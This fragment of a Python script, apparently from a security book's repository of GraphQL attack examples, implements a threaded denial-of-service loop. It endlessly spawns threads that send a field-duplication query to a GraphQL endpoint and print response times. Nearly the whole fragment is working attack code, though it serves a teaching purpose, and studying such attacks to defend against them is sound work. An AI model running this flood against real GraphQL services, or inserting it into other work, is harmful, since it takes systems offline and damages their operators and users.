INNER CODE UNIT · Python
DoS
dolevf/Black-Hat-GraphQL · ch05/exploit_threaded_field_dup.py:23
def DoS():
try:
r = requests.post(GRAPHQL_URL, json=query)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json())
except Exception as e:
print('Error', e.message)
while True:
print('Running...')
time.sleep(2)
for _ in range(THREADS):
t = threading.Thread(target=DoS, args=())
t.start()